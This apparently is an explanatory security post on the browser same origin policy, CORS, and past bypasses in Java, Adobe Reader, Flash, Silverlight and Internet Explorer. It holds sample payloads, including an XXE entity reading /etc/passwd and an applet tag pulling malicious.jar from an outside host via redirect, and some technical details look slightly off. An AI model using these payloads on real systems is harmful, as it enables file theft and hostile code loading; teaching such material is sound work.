Search the Community

The same origin policy is an important concept in the web application information security domain. In this policy, a web browser allows scripts contained in a first web page ‘A’ to access data/resources in a second web page ‘B’, however, only if both web pages have the same origin. An origin is defined as a combination of URI scheme, hostname, and port number. This policy prevents a malicious script on one page from obtaining access to sensitive data on another web page through that page’s DOM (document object model). Let’s consider one example in a physical world scenario. Imagine a school where all students within have a different origin. One class has many students, but all are unrelated. If a guardian makes a request to the school staff for his/her son’s classmate’s progress report, the school staff would deny the same as he/she not authenticated for the same. Similarly, if the school received a request for checking a student’s progress report, first they would ensure the requester is a guardian/parent/close relation of the student before granting student’s details/progress report. This is closely related to the browser with the same origin policy (SOP). Now, imagine a school that allowed access to anyone’s progress report to any guardian from the outside world – that would be like a browser without SOP. The same origin policy mechanism defines a particular significance for modern web applications that extensively depend on HTTP cookies to maintain authenticated user sessions, as servers act based on the HTTP cookie information to reveal sensitive information. A strict segregation between content provided by unrelated sites must be maintained on the client side to prevent the loss of data confidentiality or integrity. Same origin policy: Is it really important? Assume that you are logged into the Gmail server and visit a malicious website in the same browser, but another tab. Without implementing the same origin policy, an attacker can access your mail and other sensitive information using JavaScript. For example read private mail, send fake mail, read your chats. Also, Gmail uses JavaScript to enhance the user experience and save round trip bandwidth, so it is really so important that the browser can detect that this JavaScript is trusted to access Gmail resources. That’s where the same origin policy comes into the picture. Now imagine the same scenario and replace Gmail with your online banking application – it could be worse. Understand SOP with DOM: Same origin policy weds document object model When we talk about how JavaScript can access DOM policies, we consider the 3 portions of the URL, which are HOST NAME + SCHEME + PORT. If more than one application has the same hostname, scheme and port and is trying to access the DOM data, access will be granted. However, Internet Explorer only validates hostname + scheme before accessing the same. Internet Explorer does not care about PORT. This is traditional scenario which works well when accessing the same with one origin. In many cases, multiple hosts could be possible within the same root domain which accesses the source page’s DOM. Google is one example, which takes a series of sites’ authentication from the central authentication server. For instance, cart.httpsecure.org may take authentication through login.httpsecure.org. In such cases, the sites can use the document.domain property to allow other sites within the same domain to interact with the DOM (document object model). If you want to allow the code from cart.httpsecure.org to interact with the login.httpsecure.org, the developer will need to set the document.domain property to the root of the domain on both sites. i.e. document.domain = “httpsecure.org” This means that anything in the httpsecure.org domain can access the DOM in the current page. When setting up this way, you should keep in mind that if you deployed another site on the Internet, such as about.httpsecure.org, with some vulnerability, cart.httpsecure.org may vulnerable too and could be accessed at this origin. Let’s suppose an attacker is successfully able to upload some malicious code – then about.httpsecure.org would have same level of access as the login site. Understand SOP with CORS: Same origin policy weds cross-origin resource sharing Cross-origin resource sharing (CORS) is a mechanism that allows many resources (e.g. fonts, JavaScript, etc.) on a web page to be requested from another domain outside the domain from which the resource originated. Let’s suppose an application uses an XMLHttpRequest to send a request to a different origin. In this case you cannot read the response, but the request will arrive at its destination. That’s a very useful feature of cross-origin requests. The SOP also prevents you from reading the HTTP response header and body. The best way to relax the SOP and allow cross-origin communication with XHR is using cross-origin resource sharing (CORS). If the httpsecure.org origin returns the following response header, then every subdomain of httpsecure.org can open a bidirectional communication channel with httpsecure.org: Access-Control-Allow-Origin: *.Httpsecure.org Access-Control-Allow-Methods: OPTIONS, GET, POST, HEAD, PUT Access-Control-Allow-Headers: X-custom Access-Control-Allow-Credentials: true In the above response header, the first line describes the bidirectional communication channel. The second describes that the request can be made using any of the OPTIONS, GET, POST, PUT, HEAD methods, eventually including the third line x-custom header. Access-Control-Allow-Credentials:true specify for allowing authenticated communication to a resource. Understand SOP with plugins: Same origin policy weds plugins Note: If a plugin is installed for httpsecure.org:80, then it will only have access to httpsecure.org:80. Many SOP implementations in Java, Adobe Reader, Flash and Silverlight are currently suffering from different bypass methods. Most of the browser plugins implement the SOP in their own way, such as some versions of Java consider two different domains to have the SOP if the IP is the same. This might have a devastating result in a virtual hosting environment, which host multiple applications with the same IP address. If we talk about some plugins, such as Flash player and the PDF reader plugin, they have a long critical vulnerability history. Most of these issues allow an attacker to execute remote arbitrary code, which is far more critical than SOP bypass. In Flash, you can use the method which allows you to manage cross-origin communication, which can be done using crossdomain.xml, which resides in the root of the application file and might have some of the following code. <?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*.httpsecure.org" /> </cross-domain-policy> Using this code subdomain of httpsecure.org can achieve two-way communication with the application. Crossdomain.xml also supports Java and Silverlight plugins. Understand SOP with UI redressing: Same origin policy weds UI redressing UI redressing is a malicious technique of tricking a web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. UI redressing also known as clickjacking. For the attacker to bypass the SOP, it’s is little different. Some of these attacks rely on the fact the SOP was not enforced when performing the drag and drop function from the main window to an iframe. Understand SOP with browser history: Same origin policy weds browser history When we talk about browser history, the privacy of the end user always a concern. The same origin policy with browser history attack relies on traditional SOP implementation flaws, such as HTTP scheme having access to another scheme. Bypass SOP in Java Let talk about Java versions 1.7u17 and 1.6u45, which don’t enforce the SOP if two domains resolve to the same IP. Httpsecure.org and httpssecure.com resolve to the same IP (share hosting concept). A Java applet can issue cross-origin requests and read the responses. In Java versions 6 and 7, both have an equal method of the URL object. Two hosts are considered equivalent if both host names can be resolved into the same IP address. This type of vulnerability in Java SOP implementation is a critical issue when exploiting in virtual hosting environments where potentially hundreds of domains are managed by the same server and resolved to the same IP. The most important consideration concerning the privileges required by the applet to use the URL are BufferedReader and InputStreamReader objects. In Java 1.6, no user interaction is required to run the applet, however in 1.7, user permission is required to run the same due to the changes in the applet delivery mechanism implemented by Oracle Java 1.7. Now the user must explicitly use the click to play feature to run unsigned and signed applets. This feature can be bypassed using IMMUNITY and led to a subsequent (now patched) bug CVE-2011-3546 found to bypass SOP in Java. Similarly, a SOP bypass was found in Adobe reader. One of the security researchers Neal Poole found one issue: “If the resource used to load an applet was replying with 301 or 302 redirect”, the applet origin was evaluated as the source of the redirection and not the destination. Have a look at the following code: <applet code="malicious.class" archive="http://httpsecure.org?redirect_to= http://securityhacking123.com/malicious.jar" width="100" height="100"> </applet> Bypassing SOP in Adobe Reader Adobe Reader has number of security critical bugs in its browser plugin. Most of the security vulnerabilities are arbitrary code execution due to traditional overflow problems. The Adobe Reader PDF parser understands JavaScript. This attribute is often used by malware to hide malicious code inside PDFs. CVE-2013-0622, found by Billy Rios, Federico Lanusse and Mauro Gentile, allows bypassing the SOP (unpatched 11.0.0 version below). Where exploiting an open redirect which allows a foreign origin to access the origin of the redirect, the request that returns a 302 redirect response code is used to exploit the vulnerability. If we talk about XXE Injection, it involves trying to inject malicious payloads into the request that accepts XML input as below: <!DOCTYPE bar > <!ELEMENT bar ANY > <!ENTITY xxe SYSTEM "/etc/passwd" >]><bar>&xxe;</bar> In this XML parser that allows external entities, the value of &XXE is then replaced by the /etc/passwd. This technique can be used to bypass the SOP. It will load XE and the server will serve you with a 302 redirect response. Bypassing SOP in Adobe Flash Adobe Flash uses the crossdomain.xml file, which can control applications wherever Flash can receive data. We can set a restriction on this file to only trust mentioned sites as follows: <?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*" /> </cross-domain-policy> By setting the allow-access-from domain, a Flash object loaded from any origin can send requests and read responses. Bypassing SOP in Silverlight Silverlight is a Microsoft plugin that uses the same origin policy in the same way as Flash does. However, it uses clientaccess-policy.xml codes shown below: <?xml version="1.0" encoding="utf-8"?> <access-policy> <cross-domain-access> <policy> <allow-from> <domain uri="*"/> </allow-from> <grant-to> <resource path="/" include-subpaths="true"/> </grant-to> </policy> </cross-domain-access> </access-policy> Keep in mind that Flash and Silverlight have differences, such as Silverlight doesn’t segregate access between different origins based on scheme and port as Flash and CORS do. So, https://Httpsecure.org and http://Httpsecure.org consider the same origin policy. Bypassing SOP in Internet Explorer Internet Explorer 8 or below are vulnerable to SOP bypass in their implementation of document.domain. The issue can be exploited easily by overriding the document object and then the domain property. The following code demonstrates the same: var document; document = {}; document.domain = ‘httpsecure.org'; alert(document.domain); his code may cause a SOP violation error code in the JavaScript console if you run this in the latest browser. The same will work in older/legacy browser of Internet Explorer. Using XSS this can be exploited and can open bidirectional communication with other origins. References http://en.wikipedia.org/wiki/Same-origin_policy http://en.wikipedia.org/wiki/Cross-origin_resource_sharing http://en.wikipedia.org/wiki/Clickjacking https://browserhacker.com/ Source